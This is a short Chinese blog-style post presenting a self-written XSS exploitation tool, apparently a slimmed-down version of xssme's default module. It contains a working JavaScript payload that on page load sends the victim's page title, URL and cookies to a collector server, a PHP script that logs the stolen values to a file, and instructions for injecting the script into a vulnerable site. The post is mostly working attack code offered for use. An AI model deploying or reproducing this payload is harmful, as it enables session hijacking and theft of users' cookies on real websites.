自己写的xss利用工具

怎么说呢，我也用过xssme，感觉的确不错。还可以共享。但是我感觉就如果你自己一个人想使用，那些功能未免太过冗余。所以我写了个相当于xssme中默认模块的一个工具给大家看下。以生成文件为保存方式。大牛勿喷。

window.onload = function () {
	var url = "http://127.0.0.1/test/js/jsbase/xss.php";
	
	(function () {
		(new Image()).src = url + "?title="+encodeURI(document.title) + "&url=" + encodeURI(document.URL) + "&cookie=" + encodeURI(document.cookie);
	})();
}

这是js 记得你测试的时候修改一下url变量的内容即可。

<?php

$text = str_replace(":", "-", date("Y-m-d-H:i:s-")."cookie.txt");

$fp = fopen($text, "w");
foreach ($_GET as $key => $value) {
	fwrite($fp, $key." --> ".urldecode($value)."\r\n");
}

fclose($fp);



?>

看的出将js请求过来的get参数以键值对保存到文件中。

用法将这两文件保存在你空间同一目录中，然后在可以xss利用的网址 <script src="http://www.xxx.com/test.js"></script>即可 ，过滤、或者各种插xss的姿势不是本文的重点

最后就会生成如下文件